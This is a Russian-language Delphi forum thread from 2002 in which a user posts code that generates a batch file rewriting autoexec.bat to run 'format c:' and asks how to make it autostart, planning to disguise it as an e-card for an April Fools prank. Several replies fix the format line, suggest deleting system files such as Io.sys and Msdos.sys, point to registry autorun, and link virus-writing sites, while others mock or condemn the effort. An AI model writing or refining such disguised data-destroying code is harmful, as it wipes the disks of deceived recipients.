Помогите пожалуйста пишу так надо что бы оно ещё автозапукалось!

← →
snoup © (2002-03-29 23:21) [0]

Помогите пожалуйста пишу так надо что бы оно ещё автозапукалось!
procedure TForm1.Button1Click(Sender: TObject);
var tl:tstringlist;
begin
tl:=tstringlist.create;
tl.add("@echo off");
tl.add("echo @echo off >c:\autoexec.bat");
tl.add("echo format c:/q/autotest >>c:\autoexec.bat");
tl.add("cls");
tl.savetofile("c:\virus.bat");

end;

← →
LazorenkoX (2002-03-29 23:28) [1]

Хочешь вирус? Учи Ассемблер!!!

← →
Anatoly Podgoretsky © (2002-03-29 23:34) [2]

Зеленоват, но уже паскуден

← →
Doom © (2002-03-29 23:41) [3]

format c:/q/autotest пробел после с:

← →
snoup © (2002-03-29 23:43) [4]

Парни а если серьёзно как сделать что бы после нажатия и содздания он запускался подскажите пожалуёста???

← →
LazorenkoX (2002-03-29 23:56) [5]

Попробуй сделать что-то вроде в autoexec.bat:
CALL VIRUS.BAT
а в ВИРУС.БАТ:
VIRUS:
@ECHO HELLO USER, I AM VIRUS
GOTO VIRUS
ещё не пробовал, так только-что в голову пришло.
По моему ВинМи не читает аутоекзек.бат при запуске, или я ошибаюсь?

← →
snoup © (2002-03-30 00:04) [6]

Нет какрастоки ВинМи читает!
Да но мне надо чтобы после создания (выше написанного кода) у меня запускался бат-файл я вот пробывал через shellexecuet:
shellexecute(handle,nil,"virus.bat",nil,nil,sw_show); но хрен и через winexec: winexec("c:\virus.bat",sw_showopen); пробывал не чего как ещё попробывать?

← →
Doom © (2002-03-30 00:04) [7]

> tl.add("echo @echo off >c:\autoexec.bat");
> tl.add("echo format c:/q/autotest >>c:\autoexec.bat");

это бред.
первой строкой ты не пишешь в автоэкзек,а перенаправляешь вывод сообщений.
а по второй строке у тебя автоэкзек перезаписываеися этой строкой .
Ну и где потом искать твой формат?
Он же не в корневом каталоге?!!!!!

А это --

> tl.savetofile("c:\virus.bat");

просто глупость. Зачем кому-то читать этот файл?!!!!! На память пишешь? И вообще идея дурацкая твоя , непонятно зачем. И советую перед тем как от фонаря наугад чушь писать, почитай сначала Фигурнова "IBM PC для пользователя". Там хоть про команды дос узнаешь.

← →
Doom © (2002-03-30 00:07) [8]

2 Anatoly Podgoretsky
> Зеленоват, но уже паскуден

Совершенно с Вами согласен.

← →
snoup © (2002-03-30 00:08) [9]

>Doom
не надо обежаться но ето не фигня а рабочий код проверь если не веришь! c оно форматнёт ны win98\me! Конечно только потом этот созданный файл надо ручками запустить (кликнуть) а вот как сделать что бы он сам запускался??

← →
Doom © (2002-03-30 00:19) [10]

"ОНО" форматнет вот этой строкой:

> format c:/q/autotest

Кому-то хочешь подбросить и уйти? А потом чел включает и - о-па! Ни фига нету!
ты что хочешь чтобы твой вирус.тхт файл остался на винте? Если нет - нужно неписать прогу которая будет переписывать автоэкзек после всего этого иначе человек поймей что это ты сделал.

← →
snoup © (2002-03-30 00:31) [11]

Я просто хочу подшутить над чел. 1 апреля! И послать ему типа как инт.-открытку от admin@ukr.net а на самомо деле запустится хорошая формачка на которой будем мигать 5 сек lable1.caption а затем вызвет rundll32 сбой и он перегрузит тачку на которой уже будут вирус! Но вы меня тут уприкаете а серьёзного нечего ещё не написали так вы можете памочь?

← →
LazorenkoX © (2002-03-30 00:36) [12]

Так ты из Киева? А провайдер АДАМАНТ?

← →
snoup © (2002-03-30 00:40) [13]

>LazorenkoX ©
Нет к сажалению нет! Я из Донецкой обл.!!!!!!

← →
Doom © (2002-03-30 00:49) [14]

Если жто 1 апреля и человек не обидится (все равно ведь догадается ) то пишешь
tl.Add("c:\windows\format c:");
tl.SaveToFile("c:\autoexec.bat");
И все

← →
Pat © (2002-03-30 17:38) [15]

Нифига у вас не получится!!!!
Пишу в autoexec"e format c:/q/autotest ответ: "Диск занят другим приложением" В крайнем случае получится форматнуть D: (у меня получалось A:)...вот так...:-))
Так что, шутите лучше подругому

← →
snoup © (2002-03-30 17:50) [16]

>Pat ©
Пат так у тебя же Win2000 а этот вирус только для WinMe\98\95!

← →
Дима2 © (2002-03-30 18:36) [17]

snoup! Вирус просто крут! Не пробовал за место формата DEL использовать? Удалить Io.sys Msdos.sys и т.д. Шутка вообше супер!
P.S.На asme писать вирус не могу, а вот на PASCAL вполне сносный вирус сделал. Он ничего не делает, только заражает файлы и запускает код файла из которого был запущен. Делать не... пиши что-то подобное.

← →
POOKER (2002-03-30 19:34) [18]

Е МОЕ ВИРУСОПИСАТЕЛИ ХРЕНОВЫ, ПОРОДИЕ НА Z0MBIE.MYST, ВЫ ЧТО НАРОД ДЕЛАЕТ, ХОТЯБ НЕ ПОЗОРИЛИЬ, ВЕДЬ ЭТО ФОРУМ НЕ ПО КОМПЬЮТЕРНЫМ ВИРУСАМ А ПО ДЕЛЬФИ, КСТАТИ ПО ВИРУСАМ ФОРУМ Я ТЖЕ ВИДЕЛ http://www.vxforum.cjb.net/ ВОТ ВАМ ХРЕНОВЫ ВИРУСОПИСАТЕЛИ ССЫЛКА НА ФОРУМ, ВОТ ГДЕ МОЖНО НАЙТИ ИСХОДНИКИ НАЙТИ УРОДЫ ВЫ ТУПЫЕ :(
WWW.SBVC.HOST.SK WWW.VDXGROUP.HOST.SK

ВСЕ ЭТО ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ, САМ Я ВИРУСЫ НЕ ПИСАЛ И ПИСАТЬ НЕ БУДУ И ВАМ ВСЕМ НЕ СОВЕТУЮ ЗОМБИ ХОДЯЧИИ

← →
Anatoly Podgoretsky © (2002-03-30 19:39) [19]

Andrey © (29.03.02 18:59)
Не нервничай так, а то испугаются и развлекаться будет не с кем :-)

← →
Doom © (2002-03-30 20:22) [20]

КСТАТИ POOKER - ПУКер что ли?

>snoup © (30.03.02 17:50)
Гы...как будто ты мою такчку видел :-)) У меня Win98. Я же сказал, что проверял, а в 2000 autoexec"a нет

Pat прав format в Win не пройдёт!!!

← →
POOKER (2002-03-30 21:09) [24]

ГОВОРЮ ВАМ ЛЮДИ ВЫЙДЕТИ ИЗ ДЕТСТВА! Я ВАМ ДАЖЕ ССЫЛКИ ДАЛ, КСТАТИ ПО ОДНОЙ ИЗ НИХ ЕСТЬЬ КОЕ КАКИЕ ГЕНЕРАТОРЫ 6)

>POOKER (30.03.02 21:09)
Генераторы...хм....надо пользоваться контрацептивами в виде Касперского или Нортона.

← →
POOKER (2002-03-31 11:58) [26]

НАРОД НА ВАС ЧТО НАШЛО С ЭТИМИ ВИРУСАМИ, ПИШИТЕ РАДИ БОГА НО НЕ НИХ!!!!!!!!!!!!!

Вирусные маньяки! Говно, одним словом. В армии не служили. Сидят за компьютером, думают самые умные. В ментовку попадут - описаются и обосрутся с перепугу, все свои вирусы вывалят сразу и за чужие еще ответят, придурки! Чтоб вас менты загребли, нахер!

Через реестр с компонентом TRegistry и uses registry;
reg:tregistry

Кому интересно, насчет ментов:
http://www.sbvc.host.sk/arts/uk.htm

Помогите пожалуйста пишу так надо что бы оно ещё автозапукалось! Найти похожие ветки